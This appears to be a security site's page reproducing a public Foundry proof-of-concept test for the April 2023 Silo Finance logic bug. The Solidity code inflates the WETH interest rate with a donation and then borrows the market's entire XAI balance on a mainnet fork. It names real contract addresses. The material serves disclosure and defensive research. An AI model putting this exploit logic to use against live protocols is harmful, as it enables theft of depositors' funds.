Skip to content
THREATWIRE

Public reproduction file

src/test/2023-04/silo_finance_exp.sol

Public reproduction file for dataset entry Silo finance.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-04/silo_finance_exp.sol170 lines
1pragma solidity ^0.8.0;
2
3import "forge-std/Test.sol";
4import "forge-std/console.sol";
5
6import "./../interface.sol";
7
8// It's a postmortem, now it's disclosed, just for studying.
9// analysis and code: https://medium.com/immunefi/silo-finance-logic-error-bugfix-review-35de29bd934a
11interface ISilo {
12 function deposit(
13 address _asset,
14 uint256 _amount,
15 bool _collateralOnly
16 ) external returns (uint256 collateralAmount, uint256 collateralShare);
18 function borrow(address _asset, uint256 _amount) external returns (uint256 debtAmount, uint256 debtShare);
20 function assetStorage(
21 address _asset
22 ) external view returns (IBaseSilo.AssetStorage memory);
24 function accrueInterest(
25 address _asset
26 ) external returns (uint256 interest);
29interface IBaseSilo {
30 /// @dev Storage struct that holds all required data for a single token market
31 struct AssetStorage {
32 /// @dev Token that represents a share in totalDeposits of Silo
33 IShareToken collateralToken;
34 /// @dev Token that represents a share in collateralOnlyDeposits of Silo
35 IShareToken collateralOnlyToken;
36 /// @dev Token that represents a share in totalBorrowAmount of Silo
37 IShareToken debtToken;
38 /// @dev COLLATERAL: Amount of asset token that has been deposited to Silo with interest earned by depositors.
39 /// It also includes token amount that has been borrowed.
40 uint256 totalDeposits;
41 /// @dev COLLATERAL ONLY: Amount of asset token that has been deposited to Silo that can be ONLY used
42 /// as collateral. These deposits do NOT earn interest and CANNOT be borrowed.
43 uint256 collateralOnlyDeposits;
44 /// @dev DEBT: Amount of asset token that has been borrowed with accrued interest.
45 uint256 totalBorrowAmount;
46 }
49interface IShareToken {}
51contract OtherAccount {
52 ISilo immutable SILO;
53 IERC20 public constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
54 IERC20 public constant LINK = IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA);
56 address owner;
58 constructor(
59 ISilo _silo
60 ) {
61 owner = msg.sender;
62 SILO = _silo;
63 }
65 modifier onlyOwner() {
66 require(msg.sender == owner);
67 _;
68 }
70 function depositLinkAndBorrowWETH() external onlyOwner {
71 // This will inflate the ETH interest rate.
72 uint256 depositAmount = LINK.balanceOf(address(this));
73 LINK.approve(address(SILO), depositAmount);
74 SILO.deposit(address(LINK), depositAmount, true);
75 SILO.borrow(address(WETH), 1 ether);
76 WETH.transfer(owner, 1 ether); // Return the borrowed amount to the exploit contract
77 }
80contract SiloBugFixReview {
81 ISilo public constant SILO = ISilo(0xcB3B879aB11F825885d5aDD8Bf3672596d35197C);
82 IERC20 public constant XAI = IERC20(0xd7C9F0e536dC865Ae858b0C0453Fe76D13c3bEAc);
83 IERC20 public constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
84 IERC20 public constant LINK = IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA);
86 OtherAccount public immutable otherAccount;
88 constructor() {
89 otherAccount = new OtherAccount(SILO);
90 }
92 modifier checkZeroAssetStorage() {
93 require(SILO.assetStorage(address(WETH)).totalDeposits == 0);
94 _;
95 }
97 function run() external checkZeroAssetStorage {
98 uint256 accrueInterest = SILO.accrueInterest(address(WETH));
100 console.log("Balance of XAI before exploit= ", XAI.balanceOf(address(this)));
101 console.log("WETH interest rate before exploit = ", accrueInterest);
103 uint256 depositAmount = 1e5;
104 uint256 donatedAmount = 1e18;
106 WETH.approve(address(SILO), depositAmount);
107 SILO.deposit(address(WETH), depositAmount, false);
109 WETH.transfer(address(SILO), donatedAmount);
111 otherAccount.depositLinkAndBorrowWETH();
112 }
114 function run2() external {
115 uint256 accrueInterest = SILO.accrueInterest(address(WETH));
116 SILO.borrow(address(XAI), XAI.balanceOf(address(SILO)));
118 console.log("Balance of XAI after exploit= ", XAI.balanceOf(address(this)));
119 console.log("WETH interest rate after exploit = ", accrueInterest);
120 }
123// forge test --match-path test/pocs/posterms/silo-finance/BugFixReview.t.sol -vvv
124contract SiloBugFixReviewTest is Test {
125 uint256 mainnetFork;
127 SiloBugFixReview public siloBugFixReview;
129 uint256 constant depositAmount = 1e5;
130 uint256 constant donatedAmount = 1e18;
132 uint256 otherAccountDepositAmount = 545 * 1e18;
133 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
135 function setUp() public {
136 cheats.createSelectFork("mainnet", 17_139_470);
138 siloBugFixReview = new SiloBugFixReview();
139 deal(address(siloBugFixReview.WETH()), address(siloBugFixReview), depositAmount + donatedAmount);
140 deal(address(siloBugFixReview.LINK()), address(siloBugFixReview.otherAccount()), otherAccountDepositAmount);
141 }
143 function testAttack() public {
144 address LINK = 0x514910771AF9Ca656af840dff83E8264EcF986CA;
146 address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
148 console.log("time stamp before = ", block.timestamp);
149 console.log("block number before = ", block.number);
150 siloBugFixReview.run();
151 cheats.makePersistent(address(siloBugFixReview));
152 cheats.makePersistent(address(siloBugFixReview.SILO()));
154 cheats.makePersistent(WETH);
155 cheats.makePersistent(address(siloBugFixReview.SILO().assetStorage(WETH).collateralToken));
156 cheats.makePersistent(address(siloBugFixReview.SILO().assetStorage(WETH).collateralOnlyToken));
157 cheats.makePersistent(address(siloBugFixReview.SILO().assetStorage(WETH).debtToken));
159 cheats.makePersistent(LINK);
160 cheats.makePersistent(address(siloBugFixReview.SILO().assetStorage(LINK).collateralToken));
161 cheats.makePersistent(address(siloBugFixReview.SILO().assetStorage(LINK).collateralOnlyToken));
162 cheats.makePersistent(address(siloBugFixReview.SILO().assetStorage(LINK).debtToken));
164 cheats.rollFork(block.number + 1);
166 console.log("time stamp after = ", block.timestamp);
167 console.log("block number after = ", block.number);
168 siloBugFixReview.run2();
169 }

Analysis

Dataset entry

Public Foundry test for “Silo finance” (2023-04-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

12 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
Silo finance
Path
src/test/2023-04/silo_finance_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
8aba8c21c5a5dc4575c78fcb371b5ebaa5b9096b
Language
Solidity
Size
171 lines
Date
2023-04-27
Licence
ThreatWire editorial text
Retrieved
2026-10-19

Provenance

Path src/test/2023-04/silo_finance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8aba8c21c5a5dc4575c78fcb371b5ebaa5b9096b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.